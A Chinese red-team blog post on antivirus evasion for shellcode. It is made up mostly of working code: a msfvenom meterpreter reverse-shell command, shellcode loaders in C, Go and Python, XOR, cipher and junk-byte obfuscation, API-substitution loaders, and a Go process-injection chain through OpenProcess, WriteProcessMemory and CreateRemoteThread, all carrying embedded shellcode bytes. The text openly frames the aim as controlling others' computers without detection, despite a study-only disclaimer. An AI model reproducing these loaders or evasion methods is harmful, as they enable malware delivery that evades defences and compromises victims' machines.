红队免杀原理笔记

发布于 2022-10-26  755 次阅读


首先这仅仅是为了完成课程任务写的一篇文章,仅供学习交流严禁用作非法用途

免杀是什么?

免杀的全称是Anti Anti- Virus简称“免杀”,它指的是一种能使病毒木马免于被杀毒软件查杀的技术。由于免杀技术的涉猎面非常广,其中包含反汇编、逆向工程、系统漏洞等技术,所以难度很高,一般人不会或没能力接触这技术的深层内容。其内容基本上都是修改病毒、木马的内容改变特征码,从而躲避了杀毒软件的查杀。

为什么要学习免杀?

众所周知,木马病毒对于计算机的危害性极大,因此有了各种各样的杀毒软件来进行防御。但是道高一尺,魔高一丈,针对于病毒查杀技术的木马免杀技术也开始展露头角。两者就像进化论中的两敌对生物一样展开了无穷尽的竞争,两技术都在斗争中进步。

在红蓝对抗中,这项技术有着非同寻常的重要性,是每个web安全攻击方从业人员在最后都需学习的技术。目前市场上没有几个计算机不装有杀软,因此你想要通过病毒来控制他人电脑,不做好病毒免杀是不行的。

怎么做免杀

说实话,作为一个web🐕,我也能够按照二进制佬们的思路照猫画虎,具体特别深入的原理我也不是很清楚,但是能用就行(

本文免杀仅针对于shellcode的免杀

什么是shellcode

shellcode是一段用于利用软件漏洞而执行的代码,shellcode为16进制的机器码,因为经常让攻击者获得shell而得名。shellcode常常使用机器语言编写。 可在暂存器eip溢出后,塞入一段可让CPU执行的shellcode机器码,让电脑可以执行攻击者的任意指令。(转自百度百科)

说白了就是这段16进制代码一旦被注入进了一个计算机里面,你就可以获得这个计算机的shell

常用生成shellcode

1.是大佬就自己手写

2.通过CobaltStrike生成shellcode

3.通过msf生成shellcode

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=ip lport=port -e x86/shikata_ga_nai -i 5 -f raw > test.c

什么是shellcode加载器

shellcode自己本身是不能进行注入操作的,就像‘小男孩’必须被战略轰炸机扔到岛国才能发挥作用。于是乎相当于‘战略轰炸机’的shellcode加载器就诞生了。shellcode加载器的主要责任就开辟一个内存空间让shellcode来执行

shellcode加载器通常是自己写的,因为免杀很大功夫都是花在这里

一个最简单基础的c语言shellcode加载器

#include <windows.h>
#include <stdio.h>
typedef void(_stdcall* CODE)();
//下面的语句作用是执行时不弹框
#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
unsigned char shellcode[] =
"xxxxx"

void main(){
    PVOID p = NULL;
    //申请一段内存
    p = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (p == NULL){
        return;
    }
    // 将shellcode拷贝到申请的内存中
    memcpy(p, shellcode, sizeof(shellcode));
    //跳转执行到shellcode
    CODE code = (CODE)p;
    code();
}

go语言的简单shellcode加载器

package main

import (
	"encoding/hex"
	"os"
	"syscall"
	"unsafe"
)

var ProcVirtualProtect = syscall.NewLazyDLL("kernel32.dll").NewProc("VirtualProtect")

func VirtualProtect(a unsafe.Pointer, b uintptr, c uint32, d unsafe.Pointer) {
	t, _, _ := ProcVirtualProtect.Call(uintptr(a), uintptr(b), uintptr(c), uintptr(d))
	println(t)
}
func Run(sc []byte) {
	var oldshellcodeperms uint32
	VirtualProtect(unsafe.Pointer(*(*uintptr)(unsafe.Pointer(&sc))), unsafe.Sizeof(len(sc)), uint32(0x40), unsafe.Pointer(&oldshellcodeperms))
}
func main() {
	x, _ := hex.DecodeString(os.Args[1])
	Run(x)
}
//这种百分之百被杀

python代码

import ctypes
import base64
import requests
shellcode = b"xxxx"
shellcode=bytearray(shellcode)
ctypes.windll.kernel32.VirtualAlloc.restype=ctypes.c_uint64
ptr=ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(shellcode)),ctypes.c_int(0x3000),ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
eval('ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),buf,ctypes.c_int(len(shellcode)))')
handle = ctypes.windll.kernel32.CreateThread(
	ctypes.c_int(0),
	ctypes.c_int(0),
	ctypes.c_int(ptr),
	ctypes.c_int(0),
	ctypes.c_int(0),
	ctypes.pointer(ctypes.c_int(0))
	)
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))

#最简单的shellcode代码,一脸被杀相。

目前就先列出这些语言的shellcode加载器

免杀来啰((

知己知彼,百战不殆,目前来说查杀木马主要有三种:基于特征(静态查杀),基于行为(动态查杀),云查杀(联网的特征查杀),只要这几方面能对症下药,免杀都不是问题。与此同时,免杀通常分为分离免杀和混淆免杀

分离免杀

分离免杀就是将shellcode加载器和shellcode进行分离,让加载器通过其他方法获得shellcode而不是直接写死在代码中。

比如可以让shellcode存储在一个远程的服务器上,然后在shellcode加载器中通过其他本地文件或者网络获取shellcode,实现shellcode分离,甚至可以将一段shellcode切成多段分开储存和加载都是可以的,反正分离免杀的思想就是这样,更多的就靠自己发挥了

附带一个大佬的开源项目(https://github.com/Mr-Un1k0d3r/DKMC)

混淆免杀

单单仅靠分离免杀是肯定不行的,下面就要说到混淆免杀了

混淆免杀的原理也十分简单,就是通过代码的各种操作,比如编码,加密,异或,加壳等等,总之让shellcode不能被杀软识别出来,但是我们通过逆操作仍然可以使用这段shellcode

异或

众所周知一个二进制数与任意一个二进制数异或两次等于前者自己本身,因此异或操作是我们常用的一种混淆方式

int main(){

    unsigned char code[] = "\x2b\xc9\x83\xe9\xcf\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e\x65\x87\xbe\xd4\x83\xee\xfc\xe2\xf4\x99\x6f\x3c\xd4\x65\x87\xde\x5d\x80\xb6\x7e\xb0\xee\xd7\x8e\x5f\x37\x8b\x35\x86\x71\x0c\xcc\xfc\x6a\x30\xf4\xf2\x54\x78\x12\xe8\x04\xfb\xbc\xf8\x45\x46\x71\xd9\x64\x40\x5c\x26\x37\xd0\x35\x86\x75\x0c\xf4\xe8\xee\xcb\xaf\xac\x86\xcf\xbf\x05\x34\x0c\xe7\xf4\x64\x54\x35\x9d\x7d\x64\x84\x9d\xee\xb3\x35\xd5\xb3\xb6\x41\x78\xa4\x48\xb3\xd5\xa2\xbf\x5e\xa1\x93\x84\xc3\x2c\x5e\xfa\x9a\xa1\x81\xdf\x35\x8c\x41\x86\x6d\xb2\xee\x8b\xf5\x5f\x3d\x9b\xbf\x07\xee\x83\x35\xd5\xb5\x0e\xfa\xf0\x41\xdc\xe5\xb5\x3c\xdd\xef\x2b\x85\xd8\xe1\x8e\xee\x95\x55\x59\x38\xed\xbf\x59\xe0\x35\xbe\xd4\x65\xd7\xd6\xe5\xee\xe8\x39\x2b\xb0\x3c\x4e\x61\xc7\xd1\xd6\x72\xf0\x3a\x23\x2b\xb0\xbb\xb8\xa8\x6f\x07\x45\x34\x10\x82\x05\x93\x76\xf5\xd1\xbe\x65\xd4\x41\x01\x06\xe6\xd2\xb7\x4b\xe2\xc6\xb1\x65\x87\xbe\xd4";

    printf("原始shellcode:\r\n");

    for (int i = 0; i < sizeof(code); i++){    

        printf("\\x%0.2x", code[i]);
    }

    for (int i = 0; i < sizeof(code); i++){

        code[i] ^= 114;
    }

    printf("\r\n\r\n异或后的shellcode:\r\n");

    for (int i = 0; i < sizeof(code); i++){

        printf("\\x%0.2x", code[i]);

    }

    printf("\r\n\r\n第二次异或后的shellcode:\r\n");

    for (int i = 0; i < sizeof(code); i++){
        code[i] ^= 114;

    }

    for (int i = 0; i < sizeof(code); i++){

        printf("\\x%0.2x", code[i]);
    }
}

编码

比如常用的base64编码,urlcode等等都可以

不做过多赘述

古典密码

各种古典密码,比如凯撒密码,维吉尼亚密码等等都可以用作shellcode加密

比如网上找的栅栏密码加密

    int main() {

        int l, j, k, p, t;  // length of string, counters and a toggle
        int i[2];       // need two incrementers for algorithm
        unsigned char inp[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";

        int key = 5;

         unsigned char* buf;

        l = strlen(inp);printf("\n\nShellcode length: %d", l);

        printf("\n Key: %d", key);

        if (key > l) {

             printf("Key needs to be shorter than length of shellcode\n");

             exit(0);
        }

        // make a buffer to store cipher

        buf = malloc(l);if (buf == 0) {

            printf("\nmemory exhausted\n");

            exit(0);

        }
        p = 0;      // position in buf
        // do the transposition cipher
        for (j = 0; j < key; j++) {
            i[0] = (j == key - 1 ? j : key - j - 1) * 2;

            i[1] = j == 0 ? i[0] : j * 2;
            t = 1;
            k = j;
            buf[p] = inp[j];do {
                t = !t;

                k += i[t];
                p++;if (k < l)
                buf[p] = inp[k];
            }while (k < l);

        }

        // Now print the results

        printf("\n\n\"");

        for (p = 0; p < l; p++) 

            printf("\\x%02x", buf[p]);

        printf("\";\n\n");

        for (p = 0; p < l; p++)

            printf("0x%02x,", buf[p]);

        printf("\n\n");

        // and clean up

        free(buf);

        exit(0);

    }




//解密
int main() {

    int l, j, k, p, t;  // length of string, counters and a toggle
    int i[2];       // need two incrementers for algorithm

    unsigned char inp[] = "\x31\x68\x89\x80\xc0\x68\x2f\x50\xe2\xcd\x50\x73\x62\xe3\x53\x0b\x68\x2f\x69\x89\x89\xb0\x2f\x6e\xe1";

    int key = 5;

    unsigned char* buf;

    l = strlen(inp);

    printf("\n\nShellcode length: %d", l);

    printf("\n Key: %d", key);

    if (key > l) {

        printf("Key needs to be shorter than length of shellcode\n");

        exit(0);
    }

    // make a buffer to store cipher
    buf = malloc(l);    

    if (buf == 0) {

        printf("\nmemory exhausted\n");

        exit(0);
    }
    p = 0;      // position in buf
    // do the transposition cipher

    for (j = 0; j < key; j++) {
        i[0] = (j == key - 1 ? j : key - j - 1) * 2;
        i[1] = j == 0 ? i[0] : j * 2;
        t = 1;
        k = j;
        buf[j] = inp[p];

        do {
            t = !t;
            k += i[t];
            p++;

            if (k < l)
                buf[k] = inp[p];
        } while (k < l);
    }

    // Need to copy the buffer over the original string
    // so we can clean up, even when no return from shellcode
    printf("\";\n\n");

    for (p = 0; p < l; p++)

        inp[p] = buf[p];

        for (p = 0; p < l; p++)

            printf("\\x%02x", buf[p]);

    printf("\";\n\n");

    for (p = 0; p < l; p++)

        printf("0x%02x,", buf[p]);

    printf("\n\n");

    free(buf);

}

现代可解密密码

各种现代可逆的加密方式,包括AES、RSA等等都可以用作混淆,但是由于使用这些加密时要使用第三方库而且带来的程序体积的增加导致这种方式往往是不被采集的

不做赘述

其他方式

其他的混淆方式,全靠自己发挥。比如尝试在shellcode中填入垃圾字段等等

void main(){

    unsigned char slcd[] = "\x2b\xc9\x83\xe9\xcf\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e\x65\x87\xbe\xd4\x83\xee\xfc\xe2\xf4\x99\x6f\x3c\xd4\x65\x87\xde\x5d\x80\xb6\x7e\xb0\xee\xd7\x8e\x5f\x37\x8b\x35\x86\x71\x0c\xcc\xfc\x6a\x30\xf4\xf2\x54\x78\x12\xe8\x04\xfb\xbc\xf8\x45\x46\x71\xd9\x64\x40\x5c\x26\x37\xd0\x35\x86\x75\x0c\xf4\xe8\xee\xcb\xaf\xac\x86\xcf\xbf\x05\x34\x0c\xe7\xf4\x64\x54\x35\x9d\x7d\x64\x84\x9d\xee\xb3\x35\xd5\xb3\xb6\x41\x78\xa4\x48\xb3\xd5\xa2\xbf\x5e\xa1\x93\x84\xc3\x2c\x5e\xfa\x9a\xa1\x81\xdf\x35\x8c\x41\x86\x6d\xb2\xee\x8b\xf5\x5f\x3d\x9b\xbf\x07\xee\x83\x35\xd5\xb5\x0e\xfa\xf0\x41\xdc\xe5\xb5\x3c\xdd\xef\x2b\x85\xd8\xe1\x8e\xee\x95\x55\x59\x38\xed\xbf\x59\xe0\x35\xbe\xd4\x65\xd7\xd6\xe5\xee\xe8\x39\x2b\xb0\x3c\x4e\x61\xc7\xd1\xd6\x72\xf0\x3a\x23\x2b\xb0\xbb\xb8\xa8\x6f\x07\x45\x34\x10\x82\x05\x93\x76\xf5\xd1\xbe\x65\xd4\x41\x01\x06\xe6\xd2\xb7\x4b\xe2\xc6\xb1\x65\x87\xbe\xd4";

    unsigned char buf[4*sizeof(slcd)];

    int j = 0;

    for (int i = 0; i < 4*sizeof(slcd); i++){

        if (i % 4 == 0){

            buf[i] = slcd[j];
            j++;
        }

        else{  

            //插入随机十六进制数
            buf[i] = rand() & 15;
        }
    }

    printf("原始shellcode:\r\n");

    for (int i = 0; i < sizeof(slcd); i++){

        printf("\\x%0.2x", slcd[i]);

    }

    printf("\r\n填充垃圾数据后:\r\n");

    for (int i = 0; i < sizeof(buf); i++){

        printf("\\x%0.2x", buf[i]);

    }

    printf("\r\n去掉垃圾数据后\r\n");

    unsigned char buf2[sizeof(buf)/4];

    //重置j

    j = 0;

    for (int i = 0; i < sizeof(buf); i++){

        if (i % 4 == 0){
            buf2[j] = buf[i];
            j++;
        }    
    }

    for (int i = 0; i < sizeof(buf2); i++){

        printf("\\x%0.2x", buf2[i]);
    }
}

以上就是静态免杀相关的技巧,下面我们进入到基于行为的动态免杀

api替换

在上面的shellcode加载器中我们总能看到一个函数VirtualAlloc

VirtualAlloc 是windows下的一个api,主要用于申请一块内存,其官方定义如下:

LPVOID VirtualAlloc{
    LPVOID lpAddress, // 要分配的内存区域的地址
    DWORD dwSize, // 分配的大小
    DWORD flAllocationType, // 分配的类型
    DWORD flProtect // 该内存的初始保护属性

};

这个api早已经被各大安全产品盯住了,因此我们可以考虑换个功能相似的api

HeapCreate/HeapAlloc

HeapCreate 官方定义:

HANDLE HeapCreate(
     DWORD  flOptions,    //堆分配标志
     SIZE_T dwInitialSize, //初始堆大小  
     SIZE_T dwMaximumSize  //最大堆大小

);

HeapAlloc 官方定义:

DECLSPEC_ALLOCATOR LPVOID HeapAlloc(
     HANDLE hHeap,      //处理私有堆块
     DWORD  dwFlags,    //堆分配控制标志
     SIZE_T dwBytes     //要分配的字节数

);

# include <windows.h>  
# include <stdio.h>  

void main(){
    unsigned char code[] = "\x2b\xc9\x83\xe9\xcf\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e\x65\x87\xbe\xd4\x83\xee\xfc\xe2\xf4\x99\x6f\x3c\xd4\x65\x87\xde\x5d\x80\xb6\x7e\xb0\xee\xd7\x8e\x5f\x37\x8b\x35\x86\x71\x0c\xcc\xfc\x6a\x30\xf4\xf2\x54\x78\x12\xe8\x04\xfb\xbc\xf8\x45\x46\x71\xd9\x64\x40\x5c\x26\x37\xd0\x35\x86\x75\x0c\xf4\xe8\xee\xcb\xaf\xac\x86\xcf\xbf\x05\x34\x0c\xe7\xf4\x64\x54\x35\x9d\x7d\x64\x84\x9d\xee\xb3\x35\xd5\xb3\xb6\x41\x78\xa4\x48\xb3\xd5\xa2\xbf\x5e\xa1\x93\x84\xc3\x2c\x5e\xfa\x9a\xa1\x81\xdf\x35\x8c\x41\x86\x6d\xb2\xee\x8b\xf5\x5f\x3d\x9b\xbf\x07\xee\x83\x35\xd5\xb5\x0e\xfa\xf0\x41\xdc\xe5\xb5\x3c\xdd\xef\x2b\x85\xd8\xe1\x8e\xee\x95\x55\x59\x38\xed\xbf\x59\xe0\x35\xbe\xd4\x65\xd7\xd6\xe5\xee\xe8\x39\x2b\xb0\x3c\x4e\x61\xc7\xd1\xd6\x72\xf0\x3a\x23\x2b\xb0\xbb\xb8\xa8\x6f\x07\x45\x34\x10\x82\x05\x93\x76\xf5\xd1\xbe\x65\xd4\x41\x01\x06\xe6\xd2\xb7\x4b\xe2\xc6\xb1\x65\x87\xbe\xd4";
    HANDLE HeapHandle = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, sizeof(code), sizeof(code));
    char* BUFFER = (char*)HeapAlloc(HeapHandle, HEAP_ZERO_MEMORY, sizeof(code));
    memcpy(BUFFER, code, sizeof(code));
    (*(void(*)())BUFFER)();
}
//贴用的网上的代码

LoadLibrary/GetProcAddress

LoadLibrary 官方定义:

HMODULE LoadLibraryA(
     LPCSTR lpLibFileName   //文件名

);

GetProcAddress 官方定义:

FARPROC GetProcAddress(
     HMODULE hModule,     //DLL句柄
     LPCSTR  lpProcName   //函数名称

);

原理:用 LoadLibrary 函数加载动态链接库到内存,用 GetProcAddress函数动态获得 DLL 函数的入口地址。当一个 DLL 文件用 LoadLibrary 显式加载后,在任何时刻均可以通过调用 FreeLibrary 函数显式地从内存中把它给卸载。

# include <windows.h>  

# include <stdio.h>  



void main(){

    typedef LPVOID(WINAPI* VirtualAllocB)(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
    VirtualAllocB p = (VirtualAllocB)GetProcAddress(LoadLibrary("kernel32"), "VirtualAlloc");

    unsigned char code[] = "\x2b\xc9\x83\xe9\xcf\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e\x65\x87\xbe\xd4\x83\xee\xfc\xe2\xf4\x99\x6f\x3c\xd4\x65\x87\xde\x5d\x80\xb6\x7e\xb0\xee\xd7\x8e\x5f\x37\x8b\x35\x86\x71\x0c\xcc\xfc\x6a\x30\xf4\xf2\x54\x78\x12\xe8\x04\xfb\xbc\xf8\x45\x46\x71\xd9\x64\x40\x5c\x26\x37\xd0\x35\x86\x75\x0c\xf4\xe8\xee\xcb\xaf\xac\x86\xcf\xbf\x05\x34\x0c\xe7\xf4\x64\x54\x35\x9d\x7d\x64\x84\x9d\xee\xb3\x35\xd5\xb3\xb6\x41\x78\xa4\x48\xb3\xd5\xa2\xbf\x5e\xa1\x93\x84\xc3\x2c\x5e\xfa\x9a\xa1\x81\xdf\x35\x8c\x41\x86\x6d\xb2\xee\x8b\xf5\x5f\x3d\x9b\xbf\x07\xee\x83\x35\xd5\xb5\x0e\xfa\xf0\x41\xdc\xe5\xb5\x3c\xdd\xef\x2b\x85\xd8\xe1\x8e\xee\x95\x55\x59\x38\xed\xbf\x59\xe0\x35\xbe\xd4\x65\xd7\xd6\xe5\xee\xe8\x39\x2b\xb0\x3c\x4e\x61\xc7\xd1\xd6\x72\xf0\x3a\x23\x2b\xb0\xbb\xb8\xa8\x6f\x07\x45\x34\x10\x82\x05\x93\x76\xf5\xd1\xbe\x65\xd4\x41\x01\x06\xe6\xd2\xb7\x4b\xe2\xc6\xb1\x65\x87\xbe\xd4";

    char* a = (char*)(*p)(NULL, sizeof(code), MEM_COMMIT, PAGE_EXECUTE_READWRITE);

    memcpy(a, code, sizeof(code));

    (*(void(*)())a)();

}
//同样的是网上代码

GetModuleHandle/GetProcAddress

GetModuleHandle 官方定义:

HMODULE GetModuleHandleA(
     LPCSTR lpModuleName   //文件名

);

GetProcAddress官方定义

FARPROC GetProcAddress(

HMODULE hModule, // DLL 模块的句柄

LPCSTR lpProcName //函数或变量

);

原理:用 GetModuleHandle 函数加载动态链接库到内存,用 GetProcAddress函数动态获得 DLL 函数的入口地址。

# include <windows.h>  

# include <stdio.h>  

void main(){  

    typedef LPVOID (WINAPI* VirtualAllocB)(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
    VirtualAllocB p = (VirtualAllocB)GetProcAddress(GetModuleHandle("kernel32"), "VirtualAlloc");

    unsigned char code[] = "\x2b\xc9\x83\xe9\xcf\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e\x65\x87\xbe\xd4\x83\xee\xfc\xe2\xf4\x99\x6f\x3c\xd4\x65\x87\xde\x5d\x80\xb6\x7e\xb0\xee\xd7\x8e\x5f\x37\x8b\x35\x86\x71\x0c\xcc\xfc\x6a\x30\xf4\xf2\x54\x78\x12\xe8\x04\xfb\xbc\xf8\x45\x46\x71\xd9\x64\x40\x5c\x26\x37\xd0\x35\x86\x75\x0c\xf4\xe8\xee\xcb\xaf\xac\x86\xcf\xbf\x05\x34\x0c\xe7\xf4\x64\x54\x35\x9d\x7d\x64\x84\x9d\xee\xb3\x35\xd5\xb3\xb6\x41\x78\xa4\x48\xb3\xd5\xa2\xbf\x5e\xa1\x93\x84\xc3\x2c\x5e\xfa\x9a\xa1\x81\xdf\x35\x8c\x41\x86\x6d\xb2\xee\x8b\xf5\x5f\x3d\x9b\xbf\x07\xee\x83\x35\xd5\xb5\x0e\xfa\xf0\x41\xdc\xe5\xb5\x3c\xdd\xef\x2b\x85\xd8\xe1\x8e\xee\x95\x55\x59\x38\xed\xbf\x59\xe0\x35\xbe\xd4\x65\xd7\xd6\xe5\xee\xe8\x39\x2b\xb0\x3c\x4e\x61\xc7\xd1\xd6\x72\xf0\x3a\x23\x2b\xb0\xbb\xb8\xa8\x6f\x07\x45\x34\x10\x82\x05\x93\x76\xf5\xd1\xbe\x65\xd4\x41\x01\x06\xe6\xd2\xb7\x4b\xe2\xc6\xb1\x65\x87\xbe\xd4";

    char* a = (char*)(*p)(NULL, sizeof(code), MEM_COMMIT, PAGE_EXECUTE_READWRITE);

    memcpy(a, code, sizeof(code));

    (*(void(*)())a)();

}

作为web狗,对于函数具体的运行逻辑搞得不是很懂,只能从函数作用角度上手

汇编免杀

既然c语言能做到免杀, 那么比c语言更底层的汇编语言肯定也能作为shellcode加载器来进行免杀

汇编目前鄙人还没学,先咕咕咕了

进程注入

进程注入的流程

这个东西涉及到的东西过于底层,我钻研了几天大概理解了原理,可能理解不是很深入

  1. 使用openProcess()建立进程句柄和进程访问权限
  2. VirtualAllocEx() 分配虚拟内存,
  3. WriteProcessMemory()将shellcode或者dll加载到进程内存中
  4. 使用CreateRemoteThread()调用本地导出的dll函数,使得第三步写入内存的字节码执行

在介绍这些函数之前应该说一下windowsapi,众所周知,window是闭源的系统,它只提供了api供应用来调用系统资源,这就是windowsapi。windowsapi也可以说是一种函数供我们调用,这些函数大多都被集成到了动态链接库中,这些动态链接库大多以.dll或者.exe结尾。如下文提到的kernel.dll,这个库通常是对内存和硬件的管理

又众所周知,windows下又主要的三个子系统:内核(kernel),用户(user),GDI。

内核 负责操作系统的传统工作:如 内存管理,文件输入/输出 以及任务管理等。

用户 指的是用户界面,负责所有的窗口管理。

GDI 就是图形设备接口,负责外接io的交互。

我们下面的这些函数就是通过调用的kernel32.dll这个动态链接库来进行的调用的

openprocess()

在官方文档中,可以看到有三个参数输入

HANDLE OpenProcess(
  [in] DWORD dwDesiredAccess,//访问权限
  [in] BOOL  bInheritHandle,//bool类型,决定着当前进程创建的进程是否继承句柄
  [in] DWORD dwProcessId//pid
);

这个函数的返回值就是一个句柄,若失败返回null

package main

import (
	"fmt"
	"github.com/pkg/errors"
	"syscall"
	"unsafe"
)

func main() {
	var right uint32 =  0x0400 | 0x0002 | 0x0008 | 0x0010 | 0x0020//对应的码
	var ProcOpenProcess = syscall.NewLazyDLL("kernel32.dll").NewProc("OpenProcess")
	var inheritHanle uint = 0 // 新进程句柄是否继承现有句柄
	var processId uint32 = 14708//qq的进程号

	// 获取进程句柄
	remoteProcHandle, _, lastErr := ProcOpenProcess.Call( // 进行系统调用
		uintptr(right),        //DWORD dwDesiredAccess
		uintptr(inheritHanle), // Bool bInheritHandle
		uintptr(processId),    //DWORD dwProcessId
	)
	if remoteProcHandle == 0 {
		errors.Wrap(lastErr, "不能获取句柄")
	}
	fmt.Printf("process handle%v \n", unsafe.Pointer(remoteProcHandl))

}
//go的示例代码

VirtualAllocEx()

 VirtualAllocEx(
    _In_ HANDLE hProcess,	// 进程句柄
    _In_opt_ LPVOID lpAddress,	// 指定分配的内存地址(一般为NULL)
    _In_ SIZE_T dwSize,			// 申请内存地址的大小
    _In_ DWORD flAllocationType,	// MEM_RESERVE(预留,不提交物理内存)、MEM_COMMIT(提交物理内存)
    _In_ DWORD flProtect			// 内存保护属性(可读、可写、可执行等)
    );

这个函数返回是一个基地址或者失败返回null

示例代码

package main

import (
	"fmt"
	"github.com/pkg/errors"
	"syscall"
)

func main() {
	shellcode := "\x00\x12\x32\x21\x12"
	var right uint32 = 0x0400 | 0x0002 | 0x0008 | 0x0010 | 0x0020
	var ProcOpenProcess = syscall.NewLazyDLL("kernel32.dll").NewProc("OpenProcess")
	var inheritHanle uint = 0 // 新进程句柄是否继承现有句柄
	var processId uint32 = 13568

	// 获取进程句柄
	remoteProcHandle, _, lastErr := ProcOpenProcess.Call( // 进行系统调用
		uintptr(right),        //DWORD dwDesiredAccess
		uintptr(inheritHanle), // Bool bInheritHandle
		uintptr(processId),    //DWORD dwProcessId
	)
	if remoteProcHandle == 0 {
		errors.Wrap(lastErr, "不能获取句柄")
	}
	fmt.Printf("process handle%v \n", remoteProcHandle)

	ProcVirtualAllocEx := syscall.NewLazyDLL("kernel32.dll").NewProc("VirtualAllocEx")
	var flAllocationType uint32 = 0x00001000 | 0x00002000
	var flProtect uint32 = 0x40
	ip := 0
	lpBaseAddress, _, lastErr := ProcVirtualAllocEx.Call(
		remoteProcHandle,        // HANDLE hProcess
		uintptr(ip),             // LPVOID ipadress
		uintptr(len(shellcode)), // size_t
		uintptr(flAllocationType),
		uintptr(flProtect), //dword flprotect
	)

	if lpBaseAddress == 0 {
		errors.Wrap(lastErr, "申请内存失败")
	}

	fmt.Printf("申请内存 %v\n", lpBaseAddress)

}

执行结果

WriteProcessMemory()

BOOL WriteProcessMemory(
HANDLE hProcess, // 进程的句柄,是用OpenProcess打开的
LPVOID lpBaseAddress, // 要写入的起始地址
LPVOID lpBuffer, // 写入的缓存区
DWORD nSize, // 要写入缓存区的大小
LPDWORD lpNumberOfBytesWritten // 这个是返回实际写入的字节。
);

返回若不为NULL则成功,反之失败

示例代码

package main

import (
	"fmt"
	"github.com/pkg/errors"
	"syscall"
	"unsafe"
)

func main() {
	shellcode := "\x00\x12\x32\x21\x12"
	var right uint32 = 0x0400 | 0x0002 | 0x0008 | 0x0010 | 0x0020
	var ProcOpenProcess = syscall.NewLazyDLL("kernel32.dll").NewProc("OpenProcess")
	var ProcCloseHandle = syscall.NewLazyDLL("kernel32.dll").NewProc("CloseHandle")
	var inheritHanle uint = 0 // 新进程句柄是否继承现有句柄
	var processId uint32 = 11688

	// 获取进程句柄
	remoteProcHandle, _, lastErr := ProcOpenProcess.Call( // 进行系统调用
		uintptr(right),        //DWORD dwDesiredAccess
		uintptr(inheritHanle), // Bool bInheritHandle
		uintptr(processId),    //DWORD dwProcessId
	)
	if remoteProcHandle == 0 {
		errors.Wrap(lastErr, "不能获取句柄")
	}
	fmt.Printf("process handle%v \n", remoteProcHandle)

	ProcVirtualAllocEx := syscall.NewLazyDLL("kernel32.dll").NewProc("VirtualAllocEx")
	var flAllocationType uint32 = 0x00001000 | 0x00002000
	var flProtect uint32 = 0x40
	ip := 0
	lpBaseAddress, _, lastErr := ProcVirtualAllocEx.Call(
		remoteProcHandle,        // HANDLE hProcess
		uintptr(ip),             // LPVOID ipadress
		uintptr(len(shellcode)), // size_t
		uintptr(flAllocationType),
		uintptr(flProtect), //dword flprotect
	)

	if lpBaseAddress == 0 {
		errors.Wrap(lastErr, "申请内存失败")
	}

	fmt.Printf("申请内存 %v\n", lpBaseAddress)

	var nBytesWritten *byte
	ProcWriteProcessMemory := syscall.NewLazyDLL("kernel32.dll").NewProc("WriteProcessMemory")
	writeMem, _, lastErr := ProcWriteProcessMemory.Call(
		remoteProcHandle,                       // HANDLE hprocess
		lpBaseAddress,                          // LPVOID lpbaseAddress
		uintptr(unsafe.Pointer(&shellcode)),    // LPCVOID
		uintptr(len(shellcode)),                // size_t
		uintptr(unsafe.Pointer(nBytesWritten)), //size_t *lpNumberOfBytesWriten
	)

	if writeMem == 0 {
		errors.Wrap(lastErr, "shellcode 写入内存失败")
	} else {
		println(writeMem)
	}
	ProcCloseHandle.Call(remoteProcHandle)
}

被注入进程是记事本进程

运行结果是成功了,shellcode是自己瞎写的十六进制字符,再次观察进程所占内存发现确实变大了

CreateRemoteThread()

通过上面的三个函数操作,我们已经将shellcode写入了其他进程的内存中,所以我们现在需要启动一个线程来执行它

HANDLE CreateRemoteThread(
  hProcess:目标进程的句柄
lpThreadAttributes:指向线程的安全描述结构体的指针,一般设置为NULL,表示使用默认的安全级别
dwStackSize:线程堆栈大小,一般设置为0,表示使用默认的大小,一般为1M
lpStartAddress:线程函数的地址
lpParameter:线程参数
dwCreationFlags:线程的创建方式
                  CREATE_SUSPENDED 线程以挂起方式创建

);

成功后返回标识符的变量指针

示例代码

package main

import (
	"fmt"
	"github.com/pkg/errors"
	"syscall"
	"unsafe"
)

func main() {
	shellcode := "\xfc\x48\x83\xe4\xf0\xe8\xc8\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x75\x72\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x4f\xff\xff\xff\x5d